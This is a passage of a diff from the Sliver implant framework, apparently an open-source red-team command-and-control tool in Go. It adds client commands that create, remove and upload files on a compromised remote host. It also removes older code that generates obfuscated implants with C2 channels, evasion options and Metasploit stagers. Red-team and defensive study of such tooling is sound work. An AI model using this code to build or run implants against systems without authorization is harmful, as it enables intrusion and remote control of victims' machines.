fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
}
}
table.Flush()
con.Printf("%s\n", outputBuf.String())
}
+76
View File
@@ -0,0 +1,76 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MkdirCmd - Make a remote directory
func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := ctx.Args.String("path")
if filePath == "" {
con.PrintErrorf("Missing parameter: directory name\n")
return
}
mkdir, err := con.Rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if mkdir.Response != nil && mkdir.Response.Async {
con.AddBeaconCallback(mkdir.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, mkdir)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMkdir(mkdir, con)
})
con.PrintAsyncResponse(mkdir.Response)
} else {
PrintMkdir(mkdir, con)
}
}
// PrintMkdir - Print make directory
func PrintMkdir(mkdir *sliverpb.Mkdir, con *console.SliverConsoleClient) {
if mkdir.Response != nil && mkdir.Response.Err != "" {
con.PrintErrorf("%s\n", mkdir.Response.Err)
return
}
con.PrintInfof("%s\n", mkdir.Path)
}
+67
View File
@@ -0,0 +1,67 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// PwdCmd - Print the remote working directory
func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
pwd, err := con.Rpc.Pwd(context.Background(), &sliverpb.PwdReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if pwd.Response != nil && pwd.Response.Async {
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, pwd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintPwd(pwd, con)
})
con.PrintAsyncResponse(pwd.Response)
} else {
PrintPwd(pwd, con)
}
}
// PrintPwd - Print the remote working directory
func PrintPwd(pwd *sliverpb.Pwd, con *console.SliverConsoleClient) {
if pwd.Response != nil && pwd.Response.Err != "" {
con.PrintErrorf("%s\n", pwd.Response.Err)
return
}
con.PrintInfof("%s\n", pwd.Path)
}
+78
View File
@@ -0,0 +1,78 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// RmCmd - Remove a directory from the remote file system
func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := ctx.Args.String("path")
if filePath == "" {
con.PrintErrorf("Missing parameter: file or directory name\n")
return
}
rm, err := con.Rpc.Rm(context.Background(), &sliverpb.RmReq{
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
Recursive: ctx.Flags.Bool("recursive"),
Force: ctx.Flags.Bool("force"),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if rm.Response != nil && rm.Response.Async {
con.AddBeaconCallback(rm.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, rm)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintRm(rm, con)
})
con.PrintAsyncResponse(rm.Response)
} else {
PrintRm(rm, con)
}
}
// PrintRm - Print the rm response
func PrintRm(rm *sliverpb.Rm, con *console.SliverConsoleClient) {
if rm.Response != nil && rm.Response.Err != "" {
con.PrintErrorf("%s\n", rm.Response.Err)
return
}
con.PrintInfof("%s\n", rm.Path)
}
+110
View File
@@ -0,0 +1,110 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// UploadCmd - Upload a file to the remote system
func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
localPath := ctx.Args.String("local-path")
remotePath := ctx.Args.String("remote-path")
isIOC := ctx.Flags.Bool("ioc")
if localPath == "" {
con.PrintErrorf("Missing parameter, see `help upload`\n")
return
}
src, _ := filepath.Abs(localPath)
_, err := os.Stat(src)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if remotePath == "" {
fileName := filepath.Base(src)
remotePath = fileName
}
dst := remotePath
fileBuf, err := ioutil.ReadFile(src)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
Request: con.ActiveTarget.Request(ctx),
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
IsIOC: isIOC,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if upload.Response != nil && upload.Response.Async {
con.AddBeaconCallback(upload.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, upload)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintUpload(upload, con)
})
con.PrintAsyncResponse(upload.Response)
} else {
PrintUpload(upload, con)
}
}
// PrintUpload - Print the result of the upload command
func PrintUpload(upload *sliverpb.Upload, con *console.SliverConsoleClient) {
if upload.Response != nil && upload.Response.Err != "" {
con.PrintErrorf("%s\n", upload.Response.Err)
return
}
con.PrintInfof("Wrote file to %s\n", upload.Path)
}
-816
View File
@@ -1,816 +0,0 @@
package command
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"fmt"
"io/ioutil"
"log"
"net"
"net/url"
"os"
"path"
"path/filepath"
"regexp"
"strings"
"text/tabwriter"
"time"
"github.com/AlecAivazis/survey/v2"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/spin"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/desertbit/grumble"
)
var (
// SupportedCompilerTargets - Supported compiler targets
SupportedCompilerTargets = map[string]bool{
"darwin/amd64": true,
"darwin/arm64": true,
"linux/386": true,
"linux/amd64": true,
"windows/386": true,
"windows/amd64": true,
}
validFormats = []string{
"bash",
"c",
"csharp",
"dw",
"dword",
"hex",
"java",
"js_be",
"js_le",
"num",
"perl",
"pl",
"powershell",
"ps1",
"py",
"python",
"raw",
"rb",
"ruby",
"sh",
"vbapplication",
"vbscript",
}
)
func generate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
config := parseCompileFlags(ctx)
if config == nil {
return
}
save := ctx.Flags.String("save")
if save == "" {
save, _ = os.Getwd()
}
compile(config, save, rpc)
}
func regenerate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
if len(ctx.Args) < 1 {
fmt.Printf(Warn+"Invalid implant name, see `help %s`\n", consts.RegenerateStr)
return
}
save := ctx.Flags.String("save")
if save == "" {
save, _ = os.Getwd()
}
regenerate, err := rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
ImplantName: ctx.Args[0],
})
if err != nil {
fmt.Printf(Warn+"Failed to regenerate implant %s\n", err)
return
}
if regenerate.File == nil {
fmt.Printf(Warn + "Failed to regenerate implant (no data)\n")
return
}
saveTo, err := saveLocation(save, regenerate.File.Name)
if err != nil {
fmt.Printf(Warn+"%s\n", err)
return
}
err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
if err != nil {
fmt.Printf(Warn+"Failed to write to %s\n", err)
return
}
fmt.Printf(Info+"Implant binary saved to: %s\n", saveTo)
}
func saveLocation(save, defaultName string) (string, error) {
var saveTo string
if save == "" {
save, _ = os.Getwd()
}
fi, err := os.Stat(save)
if os.IsNotExist(err) {
log.Printf("%s does not exist\n", save)
if strings.HasSuffix(save, "/") {
log.Printf("%s is dir\n", save)
os.MkdirAll(save, 0700)
saveTo, _ = filepath.Abs(path.Join(saveTo, defaultName))
} else {
log.Printf("%s is not dir\n", save)
saveDir := filepath.Dir(save)
_, err := os.Stat(saveTo)
if os.IsNotExist(err) {
os.MkdirAll(saveDir, 0700)
}
saveTo, _ = filepath.Abs(save)
}
} else {
log.Printf("%s does exist\n", save)
if fi.IsDir() {
log.Printf("%s is dir\n", save)
saveTo, _ = filepath.Abs(path.Join(save, defaultName))
} else {
log.Printf("%s is not dir\n", save)
prompt := &survey.Confirm{Message: "Overwrite existing file?"}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
return "", errors.New("File already exists")
}
saveTo, _ = filepath.Abs(save)
}
}
return saveTo, nil
}
func generateStager(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
var stageProto clientpb.StageProtocol
lhost := ctx.Flags.String("lhost")
if lhost == "" {
fmt.Println(Warn + "please specify a listening host")
return
}
match, err := regexp.MatchString(`^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$`, lhost)
if err != nil {
return
}
if !match {
addr, err := net.LookupHost(lhost)
if err != nil {
fmt.Printf(Warn+"Error resolving %s: %v\n", lhost, err)
return
}
if len(addr) > 1 {
prompt := &survey.Select{
Message: "Select an address",
Options: addr,
}
err := survey.AskOne(prompt, &lhost)
if err != nil {
fmt.Printf(Warn+"Error: %v\n", err)
return
}
} else {
lhost = addr[0]
}
}
lport := ctx.Flags.Int("lport")
stageOS := ctx.Flags.String("os")
arch := ctx.Flags.String("arch")
proto := ctx.Flags.String("protocol")
format := ctx.Flags.String("format")
badchars := ctx.Flags.String("badchars")
save := ctx.Flags.String("save")
bChars := make([]string, 0)
if len(badchars) > 0 {
for _, b := range strings.Split(badchars, " ") {
bChars = append(bChars, fmt.Sprintf("\\x%s", b))
}
}
switch proto {
case "tcp":
stageProto = clientpb.StageProtocol_TCP
case "http":
stageProto = clientpb.StageProtocol_HTTP
case "https":
stageProto = clientpb.StageProtocol_HTTPS
default:
fmt.Printf(Warn+"%s staging protocol not supported\n", proto)
return
}
ctrl := make(chan bool)
go spin.Until("Generating stager, please wait ...", ctrl)
stageFile, err := rpc.MsfStage(context.Background(), &clientpb.MsfStagerReq{
Arch: arch,
BadChars: bChars,
Format: format,
Host: lhost,
Port: uint32(lport),
Protocol: stageProto,
OS: stageOS,
})
ctrl <- true
<-ctrl
if err != nil {
fmt.Printf(Warn+"Error: %v", err)
return
}
if save != "" || format == "raw" {
saveTo, _ := filepath.Abs(save)
fi, err := os.Stat(saveTo)
if err != nil {
fmt.Printf(Warn+"Failed to generate sliver stager %v\n", err)
return
}
if fi.IsDir() {
saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
}
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
if err != nil {
fmt.Printf(Warn+"Failed to write to: %s\n", saveTo)
return
}
fmt.Printf(Info+"Sliver stager saved to: %s\n", saveTo)
} else {
fmt.Println(Info + "Here's your stager:")
fmt.Println(string(stageFile.GetFile().GetData()))
}
}
// Shared function that extracts the compile flags from the grumble context
func parseCompileFlags(ctx *grumble.Context) *clientpb.ImplantConfig {
var name string
if ctx.Flags["name"] != nil {
name = strings.ToLower(ctx.Flags.String("name"))
if name != "" {
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
if !isAlphanumeric(name) {
fmt.Printf(Warn + "Implant's name must be in alphanumeric only\n")
return nil
}
}
}
c2s := []*clientpb.ImplantC2{}
mtlsC2 := parseMTLSc2(ctx.Flags.String("mtls"))
c2s = append(c2s, mtlsC2...)
httpC2 := parseHTTPc2(ctx.Flags.String("http"))
c2s = append(c2s, httpC2...)
dnsC2 := parseDNSc2(ctx.Flags.String("dns"))
c2s = append(c2s, dnsC2...)
namedPipeC2 := parseNamedPipec2(ctx.Flags.String("named-pipe"))
c2s = append(c2s, namedPipeC2...)
tcpPivotC2 := parseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
c2s = append(c2s, tcpPivotC2...)
var symbolObfuscation bool
if ctx.Flags.Bool("debug") {
symbolObfuscation = false
} else {
symbolObfuscation = !ctx.Flags.Bool("skip-symbols")
}
if len(mtlsC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
fmt.Printf(Warn + "Must specify at least one of --mtls, --http, --dns, --named-pipe, or --tcp-pivot\n")
return nil
}
rawCanaries := ctx.Flags.String("canary")
canaryDomains := []string{}
if 0 < len(rawCanaries) {
for _, canaryDomain := range strings.Split(rawCanaries, ",") {
if !strings.HasSuffix(canaryDomain, ".") {
canaryDomain += "." // Ensure we have the FQDN
}
canaryDomains = append(canaryDomains, canaryDomain)
}
}
reconnectInterval := ctx.Flags.Int("reconnect")
maxConnectionErrors := ctx.Flags.Int("max-errors")
limitDomainJoined := ctx.Flags.Bool("limit-domainjoined")
limitHostname := ctx.Flags.String("limit-hostname")
limitUsername := ctx.Flags.String("limit-username")
limitDatetime := ctx.Flags.String("limit-datetime")
limitFileExists := ctx.Flags.String("limit-fileexists")
isSharedLib := false
isService := false
isShellcode := false
format := ctx.Flags.String("format")
var configFormat clientpb.ImplantConfig_OutputFormat
switch format {
case "exe":
configFormat = clientpb.ImplantConfig_EXECUTABLE
case "shared":
configFormat = clientpb.ImplantConfig_SHARED_LIB
isSharedLib = true
case "shellcode":
configFormat = clientpb.ImplantConfig_SHELLCODE
isShellcode = true
case "service":
configFormat = clientpb.ImplantConfig_SERVICE
isService = true
default:
// default to exe
configFormat = clientpb.ImplantConfig_EXECUTABLE
}
targetOS := strings.ToLower(ctx.Flags.String("os"))
arch := strings.ToLower(ctx.Flags.String("arch"))
targetOS, arch = getTargets(targetOS, arch)
if targetOS == "" || arch == "" {
return nil
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
fmt.Printf(Warn + "Named pipe pivoting can only be used in Windows.")
return nil
}
config := &clientpb.ImplantConfig{
GOOS: targetOS,
GOARCH: arch,
Name: name,
Debug: ctx.Flags.Bool("debug"),
Evasion: ctx.Flags.Bool("evasion"),
ObfuscateSymbols: symbolObfuscation,
C2: c2s,
CanaryDomains: canaryDomains,
ReconnectInterval: uint32(reconnectInterval),
MaxConnectionErrors: uint32(maxConnectionErrors),
LimitDomainJoined: limitDomainJoined,
LimitHostname: limitHostname,
LimitUsername: limitUsername,
LimitDatetime: limitDatetime,
LimitFileExists: limitFileExists,
Format: configFormat,
IsSharedLib: isSharedLib,
IsService: isService,
IsShellcode: isShellcode,
}
return config
}
func getTargets(targetOS string, targetArch string) (string, string) {
/* For UX we convert some synonymous terms */
if targetOS == "darwin" || targetOS == "mac" || targetOS == "macos" || targetOS == "osx" {
targetOS = "darwin"
}
if targetOS == "windows" || targetOS == "win" || targetOS == "shit" {
targetOS = "windows"
}
if targetOS == "linux" || targetOS == "lin" {
targetOS = "linux"
}
if targetArch == "x64" || strings.HasPrefix(targetArch, "64") {
targetArch = "amd64"
}
if targetArch == "x86" || strings.HasPrefix(targetArch, "32") {
targetArch = "386"
}
target := fmt.Sprintf("%s/%s", targetOS, targetArch)
if _, ok := SupportedCompilerTargets[target]; !ok {
prompt := &survey.Confirm{
Message: fmt.Sprintf("Unsupported compiler target %s, try to build anyways?", target),
}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
return "", ""
}
}
return targetOS, targetArch
}
func parseMTLSc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
}
for index, arg := range strings.Split(args, ",") {
uri := url.URL{Scheme: "mtls"}
uri.Host = arg
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Host, defaultMTLSLPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
}
func parseHTTPc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
uri, err = url.Parse(arg)
if err != nil {
log.Printf("Failed to parse c2 URL %v", err)
continue
}
} else {
uri = &url.URL{Scheme: "https"} // HTTPS is the default, will fallback to HTTP
uri.Host = arg
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
}
func parseDNSc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
}
for index, arg := range strings.Split(args, ",") {
uri := url.URL{Scheme: "dns"}
if len(arg) < 1 {
continue
}
// Make sure we have the FQDN
if !strings.HasSuffix(arg, ".") {
arg += "."
}
if strings.HasPrefix(arg, ".") {
arg = arg[1:]
}
uri.Host = arg
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
}
func parseNamedPipec2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
}
for index, arg := range strings.Split(args, ",") {
uri, err := url.Parse("namedpipe://" + arg)
if len(arg) < 1 {
continue
}
if err != nil {
return c2s
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
}
func parseTCPPivotc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s
}
for index, arg := range strings.Split(args, ",") {
uri := url.URL{Scheme: "tcppivot"}
uri.Host = arg
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Host, defaultTCPPivotPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s
}
func profileGenerate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
name := ctx.Flags.String("name")
if name == "" && 1 <= len(ctx.Args) {
name = ctx.Args[0]
}
save := ctx.Flags.String("save")
if save == "" {
save, _ = os.Getwd()
}
profile := getImplantProfileByName(rpc, name)
if profile != nil {
implantFile, err := compile(profile.Config, save, rpc)
if err != nil {
return
}
profile.Config.Name = buildImplantName(implantFile.Name)
_, err = rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
fmt.Printf(Warn+"could not update implant profile: %v\n", err)
return
}
} else {
fmt.Printf(Warn+"No profile with name '%s'", name)
}
}
func compile(config *clientpb.ImplantConfig, save string, rpc rpcpb.SliverRPCClient) (*commonpb.File, error) {
fmt.Printf(Info+"Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
if config.ObfuscateSymbols {
fmt.Printf(Info+"%sSymbol obfuscation is enabled.%s\n", bold, normal)
fmt.Printf(Info + "This process can take awhile, and consumes significant amounts of CPU/Memory\n")
} else if !config.Debug {
fmt.Printf(Warn+"Symbol obfuscation is %sdisabled%s\n", bold, normal)
}
start := time.Now()
ctrl := make(chan bool)
go spin.Until("Compiling, please wait ...", ctrl)
generated, err := rpc.Generate(context.Background(), &clientpb.GenerateReq{
Config: config,
})
ctrl <- true
<-ctrl
if err != nil {
fmt.Printf(Warn+"%s\n", err)
return nil, err
}
end := time.Now()
elapsed := time.Time{}.Add(end.Sub(start))
fmt.Printf(clearln+Info+"Build completed in %s\n", elapsed.Format("15:04:05"))
if len(generated.File.Data) == 0 {
fmt.Printf(Warn + "Build failed, no file data\n")
return nil, errors.New("No file data")
}
saveTo, err := saveLocation(save, generated.File.Name)
if err != nil {
return nil, err
}
err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
if err != nil {
fmt.Printf(Warn+"Failed to write to: %s\n", saveTo)
return nil, err
}
fmt.Printf(Info+"Implant saved to %s\n", saveTo)
return generated.File, err
}
func profiles(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
profiles := getImplantProfiles(rpc)
if profiles == nil {
return
}
if len(profiles) == 0 {
fmt.Printf(Info+"No profiles, create one with `%s`\n", consts.NewProfileStr)
return
}
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "Name\tPlatform\tCommand & Control\tDebug\tFormat\tObfuscation\tLimitations\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("Platform")),
strings.Repeat("=", len("Command & Control")),
strings.Repeat("=", len("Debug")),
strings.Repeat("=", len("Format")),
strings.Repeat("=", len("Obfuscation")),
strings.Repeat("=", len("Limitations")))
for _, profile := range profiles {
config := profile.Config
if 0 < len(config.C2) {
obfuscation := "strings only"
if config.ObfuscateSymbols {
obfuscation = "symbols obfuscation"
}
if config.Debug {
obfuscation = "none"
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
profile.Name,
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
fmt.Sprintf("[1] %s", config.C2[0].URL),
fmt.Sprintf("%v", config.Debug),
fmt.Sprintf("%v", config.Format),
fmt.Sprintf("%s", obfuscation),
getLimitsString(config),
)
}
if 1 < len(config.C2) {
for index, c2 := range config.C2[1:] {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
"",
"",
fmt.Sprintf("[%d] %s", index+2, c2.URL),
"",
"",
"",
"",
)
}
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", "", "", "", "", "", "", "")
}
table.Flush()
}
func getLimitsString(config *clientpb.ImplantConfig) string {
limits := []string{}
if config.LimitDatetime != "" {
limits = append(limits, fmt.Sprintf("datetime=%s", config.LimitDatetime))
}
if config.LimitDomainJoined {
limits = append(limits, fmt.Sprintf("domainjoined=%v", config.LimitDomainJoined))
}
if config.LimitUsername != "" {
limits = append(limits, fmt.Sprintf("username=%s", config.LimitUsername))
}
if config.LimitHostname != "" {
limits = append(limits, fmt.Sprintf("hostname=%s", config.LimitHostname))
}
if config.LimitFileExists != "" {
limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
}
return strings.Join(limits, "; ")
}
func newProfile(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
name := ctx.Flags.String("profile-name")
if name == "" {
fmt.Printf(Warn + "Invalid profile name\n")
return
}
config := parseCompileFlags(ctx)
if config == nil {
return
}
profile := &clientpb.ImplantProfile{
Name: name,
Config: config,
}
resp, err := rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
fmt.Printf(Warn+"%s\n", err)
} else {
fmt.Printf(Info+"Saved new profile %s\n", resp.Name)
}
}
func rmProfile(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
if len(ctx.Args) < 1 {
fmt.Printf(Warn+"Invalid implant name, see `%s %s --help`\n", consts.ProfilesStr, consts.RmStr)
return
}
_, err := rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
Name: ctx.Args[0],
})
if err != nil {
fmt.Printf(Warn+"Failed to delete profile %s\n", err)
return
}
}
func getImplantProfiles(rpc rpcpb.SliverRPCClient) []*clientpb.ImplantProfile {
pbProfiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
fmt.Printf(Warn+"Error %s", err)
return nil
}
return pbProfiles.Profiles
}
func getImplantProfileByName(rpc rpcpb.SliverRPCClient, name string) *clientpb.ImplantProfile {
pbProfiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
fmt.Printf(Warn+"Error %s", err)
return nil
}
for _, profile := range pbProfiles.Profiles {
if profile.Name == name {
return profile
}
}
return nil
}
func canaries(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
canaries, err := rpc.Canaries(context.Background(), &commonpb.Empty{})
if err != nil {
fmt.Printf(Warn+"Failed to list canaries %s", err)
return
}
if 0 < len(canaries.Canaries) {
displayCanaries(canaries.Canaries, ctx.Flags.Bool("burned"))
} else {
fmt.Printf(Info + "No canaries in database\n")
}
}
func displayCanaries(canaries []*clientpb.DNSCanary, burnedOnly bool) {
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "Sliver Name\tDomain\tTriggered\tFirst Trigger\tLatest Trigger\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Sliver Name")),
strings.Repeat("=", len("Domain")),
strings.Repeat("=", len("Triggered")),
strings.Repeat("=", len("First Trigger")),
strings.Repeat("=", len("Latest Trigger")),
)
lineColors := []string{}
for _, canary := range canaries {
if burnedOnly && !canary.Triggered {
continue
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
canary.ImplantName,
canary.Domain,
fmt.Sprintf("%v", canary.Triggered),
canary.FirstTriggered,
canary.LatestTrigger,
)
if canary.Triggered {
lineColors = append(lineColors, bold+red)
} else {
lineColors = append(lineColors, normal)
}
}
table.Flush()
for index, line := range strings.Split(outputBuf.String(), "\n") {
if len(line) == 0 {
continue
}
// We need to account for the two rows of column headers
if 0 < len(line) && 2 <= index {
lineColor := lineColors[index-2]
fmt.Printf("%s%s%s\n", lineColor, line, normal)
} else {
fmt.Printf("%s\n", line)
}
}
}
+5
View File
@@ -0,0 +1,5 @@
Generate
========
Implements command related to implant generation such as `generate`, `regenerate`, `profiles`, etc.
+64
View File
@@ -0,0 +1,64 @@
package generate
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// CanariesCmd - Display canaries from the database and their status
func CanariesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
canaries, err := con.Rpc.Canaries(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Failed to list canaries %s", err)
return
}
if 0 < len(canaries.Canaries) {
PrintCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
} else {
con.PrintInfof("No canaries in database\n")
}
}
// PrintCanaries - Print the canaries tracked by the server
func PrintCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
tw := table.NewWriter()
